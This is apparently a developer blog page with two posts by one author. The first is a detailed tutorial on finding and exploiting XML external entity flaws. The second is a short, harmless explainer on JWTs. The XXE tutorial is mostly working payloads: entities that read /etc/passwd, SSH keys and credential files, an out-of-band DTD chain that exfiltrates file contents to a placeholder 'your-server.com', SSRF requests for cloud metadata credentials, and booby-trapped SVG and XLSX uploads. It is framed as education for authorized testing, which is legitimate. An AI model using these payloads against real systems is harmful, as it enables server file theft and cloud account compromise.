XXE : Finding and Exploiting XML External Entity Vulnerabilities

Atharva Baheti — Wed, 09 Sep 2026 10:35:52 +0000

From understanding how XML entities work to blind out-of-band exfiltration and the hidden attack surfaces most testers never check.

XXE is unlike almost every other vulnerability class you'll test for. There are no payloads to sneak into input fields, no quotes to break out of, no IDs to tamper with. XXE is about hijacking a feature that's built into the XML language itself — external entities — and pointing that feature at files on the server or systems on the internal network.

This guide walks through the full methodology: the mental model, the payload anatomy, how to find XXE in the wild, and the techniques — classic, blind, out-of-band, SSRF, and hidden attack surfaces — that separate a surface-level test from a thorough one.

1. The Right Mindset for XXE Testing

You are not injecting malicious code when you exploit XXE. You're using a completely valid, legitimate XML feature that the parser was never told to disable. The parser does exactly what it was built to do — it just shouldn't be doing it with untrusted input.

Core mental model: XML has a built-in feature that lets you define a "variable" whose value is loaded from a file or URL on the server. It was designed for legitimate content reuse. XXE happens when a server's XML parser processes your XML without disabling this feature — so you can define a variable that loads /etc/passwd, reference it in your data, and get the server to hand the file back to you.

What a successful XXE attack can get you:

Read any file the server process can access
Probe internal network services (SSRF)
Steal cloud credentials (AWS/Azure/GCP metadata)
In rare cases, remote code execution
Denial of service (the "Billion Laughs" attack)

2. XML 101 — What You Need to Know First

You don't need to become an XML expert. You need to understand three things: tags, entities, and DTDs.

What XML looks like:

<?xml version="1.0" encoding="UTF-8"?>
<order>
  <productId>5</productId>
  <quantity>2</quantity>
  <user>alice</user>
</order>

An "entity" is just a variable. Define it once, reference it anywhere — like a shortcut key in a word processor.

<!-- Internal entity — defined and used within the document -->
<?xml version="1.0"?>
<!DOCTYPE order [
  <!ENTITY companyname "Acme Corp">
]>
<order>
  <vendor>&companyname;</vendor> <!-- becomes "Acme Corp" -->
</order>

An "external entity" is the dangerous part. Same concept, except instead of defining the value inline, you tell the parser to load it from a file path or URL, using the SYSTEM keyword:

<!ENTITY myvar SYSTEM "file:///etc/passwd">

When the parser encounters &myvar; in the document, it goes to the filesystem, reads /etc/passwd, and substitutes the contents in place of the entity reference. That content then shows up in the application's response.

A DTD (Document Type Definition) is the section at the top of an XML document, inside <!DOCTYPE>, where entities get declared. For XXE testing, all you need to know is: your entity declarations go inside the DOCTYPE block.

	Dangerous — external entities enabled	Safe — external entities disabled
Parser sees `SYSTEM "file:///etc/passwd"`	Opens the file, reads it, substitutes the content, returns it in the response	Ignores the external reference, returns empty or an error
Result	You just read a server file	Nothing leaked — one config line prevents it all

3. What XXE Actually Is — A Real-World Analogy

Imagine a company has a form where suppliers submit orders. You fill it in with a product name and quantity, and a clerk processes it.

Now imagine the form has a special "Template" field where you can reference a pre-defined item from the company's internal catalog. The clerk is trained to fetch whatever you reference and include its contents in your order.

So you write in the Template field: "fetch the contents of the HR department's salary file." The clerk dutifully walks to the HR cabinet, retrieves the salary file, and includes it in your paperwork — which is handed back to you.

The clerk — the XML parser — just fetched a restricted internal file because you asked nicely, using the right syntax. That's XXE.

In technical terms: you send XML to a web application. Hidden inside it, you declare an external entity pointing to a server file. The parser, never told to refuse external entities, faithfully reads that file and inserts its contents into the parsed data. The application reflects that data back in its response — and you see the file contents.

4. Payload Anatomy — Every Line Explained

Most people copy-paste XXE payloads without understanding them, which is exactly why they fail the moment an application looks slightly different. Here's every line broken down:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
</stockCheck>

<?xml version="1.0"?> — Standard XML declaration. Always required; tells the parser this is XML.
<!DOCTYPE foo [ — Opens the DTD block. "foo" is just a name — it can be anything. This is where your malicious entity gets declared.
<!ENTITY xxe SYSTEM "file:///etc/passwd"> — The attack itself. You're defining a variable named xxe whose value loads from /etc/passwd on the server. SYSTEM means "external source."
]> — Closes the DTD block.
&xxe; — Where you use the entity. The parser replaces it with the file's contents. Place it inside a field that gets reflected back in the response so you can actually see the output.

The critical decision — where to place &xxe;: It has to sit inside a tag whose value is reflected back in the response. If you put it somewhere that's silently processed and discarded, you'll never see the output. Test multiple fields — whichever one echoes back is your extraction channel.

5. Finding XXE Attack Surfaces

XXE only exists where the application parses XML. Your first job is finding every place XML enters the app — including places that don't look like XML at all.

Step 1 — Look for obvious XML in your proxy history. Search request bodies for:

Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml

Also look for XML structure directly in the body — a <?xml version="1.0"?> declaration or a SOAP envelope is a dead giveaway.

Step 2 — Try converting JSON to XML. This is one of the most overlooked surfaces. Some endpoints happily accept both formats.

# Original request (JSON):
POST /api/stock HTTP/1.1
Content-Type: application/json

{"productId": 5, "quantity": 2}

# Try converting to XML:
POST /api/stock HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<root>
  <productId>5</productId>
  <quantity>2</quantity>
</root>

# If the response matches the JSON version → the server accepts XML → test for XXE

Step 3 — Check file uploads that accept XML-based formats:

File format	Why it's XML	How to test
`.svg`	SVG is XML — image upload fields that accept SVG	Upload an SVG with an XXE payload inside
`.docx`	Word docs are ZIP archives containing XML	Unzip, inject into `word/document.xml`, rezip
`.xlsx`	Excel files are ZIP archives containing XML	Unzip, inject into `xl/workbook.xml`, rezip
`.xml`	Direct XML upload	Upload your XXE payload directly
`.pptx`	PowerPoint files are ZIP + XML	Same approach as docx/xlsx

Step 4 — Confirm the parser actually processes entities, using a harmless internal entity before you escalate:

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY probe "HelloXXE">
]>
<root>
  <data>&probe;</data>
</root>

# Response shows "HelloXXE" → entities are being processed → escalate to file read
# Response shows "&probe;" literally → entities are NOT processed → not vulnerable

6. Classic XXE — File Read, Response Visible

The most straightforward case: the app accepts XML, parses it, and reflects parsed values directly in the response.

Step 1 — Intercept the request. Find a request with XML in the body and send it to your testing tool of choice.

POST /api/stock/check HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<stockCheck>
  <productId>5</productId>
  <storeId>1</storeId>
</stockCheck>

# Response: "Product ID 5 is in stock at store 1"
# → productId is reflected. That's your extraction channel.

Step 2 — Inject your payload. Add a DOCTYPE block above the root element, and place &xxe; inside the reflected field.

POST /api/stock/check HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

Step 3 — Read the response.

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

# The entire /etc/passwd file replaced &xxe; in the error message. XXE confirmed.

Step 4 — Try other high-value files.

# Linux
file:///etc/passwd                  ← user accounts
file:///etc/shadow                  ← password hashes (if readable)
file:///etc/hostname                ← server hostname
file:///proc/version                ← kernel version
file:///proc/self/environ           ← environment variables (often secrets)
file:///var/www/html/config.php     ← DB credentials in app config
file:///home/app/.ssh/id_rsa        ← SSH private key
file:///.aws/credentials            ← AWS keys, if running on AWS

# Windows
file:///C:/Windows/win.ini
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/inetpub/wwwroot/web.config   ← IIS config, often has DB passwords
file:///C:/Users/Administrator/.ssh/id_rsa

Tip: If one field doesn't reflect, try another. Put &xxe; in <storeId> instead of <productId> and test every field — whichever one shows up in the response is your channel.

7. Blind XXE — Nothing Shows in the Response

Most real-world XXE is blind. The app processes your XML but never reflects the parsed values back to you. Classic file-read XXE fails silently — so you need to make the server send data somewhere you control.

The blind XXE strategy: instead of pointing the entity at a file and waiting for it to appear in the response, point it at your own server. The parser makes an HTTP (or DNS) request to your URL. You watch your listener for incoming connections — the request arriving confirms the vulnerability, and you can carry data out in the URL itself.

Step 1 — Confirm blind XXE with an out-of-band ping.

# Start a listener on a server you control:
python3 -m http.server 8080

# Inject a payload where the entity points to YOUR server, not a file:
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://your-server.com:8080/xxe-test">
]>
<root>
  <data>&xxe;</data>
</root>

# Watch your listener:
# "GET /xxe-test HTTP/1.1" → blind XXE confirmed. The parser reached out to you.

Step 2 — Exfiltrate file contents via an out-of-band DTD. To actually steal file contents through blind XXE, you need an external DTD hosted on your own server, defining a chain of parameter entities that reads a file and sends it to you.

# Host this as evil.dtd on your server:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://your-server.com:8080/?data=%file;'>">
%eval;
%exfil;

# What this does:
# 1. %file reads /etc/passwd into a variable
# 2. %eval builds a URL containing that file's content
# 3. %exfil sends an HTTP GET to your server with the file data in the URL

# Your XXE payload then just calls the external DTD:
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://your-server.com:8080/evil.dtd">
  %xxe;
]>
<root></root>

# Watch your listener for:
# GET /?data=root:x:0:0:root:/root:/bin/bash... HTTP/1.1
#          ↑ /etc/passwd contents, right there in the URL

Watch out: multi-line files like /etc/passwd contain newlines that break URLs. If your data gets cut off, test against /etc/hostname first (single line) to confirm the technique works, then move to Base64-encoding the payload for multi-line files, or target naturally single-line files like /proc/version.

Parameter entities vs. regular entities: blind XXE with external DTDs uses parameter entities (prefixed with %) instead of regular entities (&), because parameter entities can reference other parameter entities inside DTD declarations — regular ones can't.

Regular entity (classic XXE, in the XML body):
<!ENTITY xxe SYSTEM "file:///etc/passwd">   ← referenced as &xxe;

Parameter entity (blind XXE, inside a DTD):
<!ENTITY % xxe SYSTEM "http://your-server.com/evil.dtd">  ← note the %
%xxe;    ← referenced with % not &

8. Out-of-Band XXE — The Complete Flow

Here's exactly what happens during a blind OOB XXE attack, end to end:

YOUR MACHINE                    TARGET SERVER                YOUR SERVER
     |                                |                              |
     | 1. Send XML with              |                              |
     |    XXE payload ──────────────>|                              |
     |                               | 2. Parser reads              |
     |                               |    DOCTYPE                   |
     |                               | 3. Fetches evil.dtd ────────>|
     |                               |<─────── returns evil.dtd ────|
     |                               | 4. Executes DTD:             |
     |                               |    reads /etc/passwd         |
     |                               | 5. Makes HTTP request        |
     |                               |    with file contents ──────>|
     |                               |                              | 6. You see:
     | 7. Nothing in response        |                              | GET /?data=root:x:0...
     |<──────────────────────────────|                              |
     |                                                              |
     | 8. Read your server's terminal — the file data is right there

9. XXE → SSRF: Making the Server Talk to Internal Systems

Instead of pointing your entity at a file:// path, point it at an http:// URL of an internal system. The server's parser makes that HTTP request for you — from inside the network, bypassing any firewall that would've blocked you directly.

Basic internal network probe:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://192.168.1.1/admin">
]>
<data>&xxe;</data>

# Admin panel content appears → you're reading internal pages
# "Connection refused" → port is closed
# Timeout → port might be filtered
# This difference lets you PORT SCAN internal services

Cloud metadata endpoints are a critical target. If the app runs on AWS:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<data>&xxe;</data>

# A vulnerable response might contain:
{
  "AccessKeyId": "ASIAXXXXXXXXXXX",
  "SecretAccessKey": "...",
  "Token": "..."
}
# Full AWS account compromise from a single XXE.

# Azure metadata: http://169.254.169.254/metadata/instance?api-version=2021-02-01
# GCP metadata:   http://metadata.google.internal/computeMetadata/v1/instance/

10. XXE in Unexpected Places

Most testers only check the obvious XML endpoints. The best findings usually come from places that don't look like XML at all.

SVG file upload. SVG is an XML-based image format. If the server processes an uploaded SVG (thumbnails, previews, conversion), it's parsing XML — and your XXE fires.

<!-- evil.svg -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="20">&xxe;</text>
</svg>

XLSX / DOCX file upload. Office files are ZIP archives containing XML. Unzip, inject, rezip, upload.

unzip template.xlsx -d xlsx_extracted/

# Edit xl/workbook.xml (or xl/sharedStrings.xml), adding at the top:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE workbook [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
# Then reference &xxe; somewhere in the file content

cd xlsx_extracted && zip -r ../evil.xlsx . && cd ..
# Upload evil.xlsx

Content-Type switching:

# Original:
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded

q=laptop&category=electronics

# Try switching to XML:
POST /search HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<search>
  <q>&xxe;</q>
  <category>electronics</category>
</search>

# Some backends auto-detect XML regardless of the original request format

SOAP web services are also a classic target, since SOAP is XML by design:

POST /webservice HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "getUser"

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <getUser>
      <userId>&xxe;</userId>
    </getUser>
  </soap:Body>
</soap:Envelope>

11. XInclude — When DOCTYPE Isn't an Option

Sometimes you don't control the entire XML document — your input is just one value that gets embedded into a larger server-side document. You can't add a DOCTYPE, so classic XXE fails. XInclude solves this — it's part of the XML spec that lets you include external content from within any element, no DOCTYPE required.

# You only control the value inside <productId>...</productId>

<productId>
  <xi:include xmlns:xi="http://www.w3.org/2001/XInclude"
              parse="text"
              href="file:///etc/passwd"/>
</productId>

# xmlns:xi declares the XInclude namespace
# parse="text" means include the file as plain text
# href is the file path
# If the server processes XInclude, /etc/passwd shows up in the output

Use XInclude when you find injection into an XML value, but the DOCTYPE section isn't under your control — for example, when your input is a form field embedded inside a backend XML template.

12. Building a Testing Toolkit

A practical workflow for testing XXE systematically:

Proxy: Capture every XML request in your HTTP history; filter by Content-Type.
Repeater/workspace: Modify the XML body, resend, and read the response.
Search: Look through request history for <?xml or DOCTYPE.
A server you control: For blind/OOB XXE, you need somewhere to host evil.dtd and watch for callbacks — a small VPS with python3 -m http.server works fine.

Manual testing checklist:

Find XML in your proxy history (Content-Type: xml)
Try converting JSON endpoints to XML
Test an internal entity first to confirm processing
Try file:///etc/passwd in a SYSTEM declaration
Try http:// pointed at your own server (blind confirmation)
Check file uploads for SVG/XLSX/DOCX

Useful files to try:

Linux: /etc/passwd, /etc/hostname, /proc/self/environ, /proc/version
Windows: C:/Windows/win.ini, C:/inetpub/wwwroot/web.config
Cloud: the metadata endpoint at 169.254.169.254

13. The Full Testing Checklist

Finding the attack surface:

Search proxy history for Content-Type: application/xml or text/xml
Look for <?xml or DOCTYPE in request bodies
Try switching JSON endpoints to XML by changing Content-Type
Check file upload fields that accept SVG, DOCX, XLSX, XML
Look for SOAP endpoints (SOAPAction header, XML envelope)

Confirming XML processing:

Test an internal entity — does it resolve?
Confirm which XML field's value is reflected in the response
Try placing &xxe; in every field to find the reflection point

Classic XXE (visible response):

Point SYSTEM at file:///etc/passwd — did contents appear?
Try file:///etc/hostname (shorter, confirms file read)
Try Windows paths if error messages suggest a Windows server
Attempt to read config files for credentials

Blind XXE (no visible response):

Start a listener on your own server
Point SYSTEM at your server — did the request arrive?
Create an evil.dtd with a parameter entity chain for exfiltration
Host the DTD and referenced it via a parameter entity
Watch your listener for incoming requests carrying file data

Advanced / alternative techniques:

Try XInclude when DOCTYPE injection wasn't possible
Try SSRF via an http:// entity pointing at internal IPs
Try the cloud metadata endpoint if the app runs on cloud infrastructure
Test SVG upload with an XXE payload, if image upload was present
Test XLSX injection by modifying workbook.xml inside the ZIP

The golden rule for XXE: it requires two things to work — the server must parse XML, and external entities must not be disabled. Your job is to find where XML gets parsed, then test whether external entities are processed. If they are, you can access the server's file system. Start with /etc/hostname (single-line, always readable) to confirm, then escalate to /etc/passwd and configuration files.

The XXE mantra: Find the XML → define the entity → point it at a file → read the response.

If you can't see the response, make the server call home. If you can't add a DOCTYPE, use XInclude. If the server can't reach files directly, make it probe internal services instead. XXE almost always has another path.

Note: This guide is intended for authorized security testing and educational purposes — always test within the scope of a legal engagement or your own lab environment.

JWT Tokens: The Modern Authentication/Authorization

Atharva Baheti — Wed, 09 Sep 2026 10:05:43 +0000

What Is a JWT Token?

If you’ve ever wondered how websites let you stay logged in without asking for your password every five minutes, the answer often lies in something called a JWT (JSON Web Token).

Think of a JWT as a digital passport — a secure little package of information that proves who you are and what you’re allowed to do, allowing you to move smoothly between different parts of an app or API.

How Does a JWT Work?

Imagine you walk into a theme park. At the entrance, you buy a ticket and get a wristband.
This wristband:

Has your name
Lists the rides you’re allowed to access
Has an expiry time

Now, every time you go on a ride, you don’t have to pull out your ID. The wristband itself is proof. That’s exactly how a JWT works. Once you’re authenticated, the server gives you a token. You send this token with each request, and the server trusts it — no need to re-check your identity again and again.

The Anatomy of a JWT

A JWT token is made of three parts, separated by dots (.):

Header — Contains metadata (like the token type and encryption algorithm).
Payload — Holds the actual data or claims (user ID, roles, expiration).
Signature — Ensures the token wasn’t altered.

It looks like this:
Header.Payload.Signature

Ex- eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Breakdown:

Header: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Payload: eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
Signature: SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Real-World Example: Online Shopping

You log in → Server verifies you → It gives you a JWT.
Every time you:

Add a product
View your cart
Proceed to checkout

Your browser sends the same JWT, and the server checks:

Is the signature valid?
Has it expired?

If everything is valid — you’re allowed to continue.

Why Developers Prefer JWT

Stateless → No session storage needed
Compact → Light and fast to transmit
Secure → Signed, so tampering is detectable
Flexible → Perfect for APIs, microservices, mobile apps, etc.

Security Best Practices

✔ Validate every token → Signature + expiry.
✔ Use strong algorithms → HS256, RS256 are recommended.
✔ Keep expiration short → Lower risk if stolen.
✔ Never store sensitive information → JWT payload is easily readable.

Conclusion

JWT tokens are a powerful way to handle authentication and authorization in today’s applications. When used correctly, they make systems:

More secure
More scalable
Easier to manage

Understanding JWTs gives you a strong foundation for building modern web apps and APIs.

DEV Community: Atharva Baheti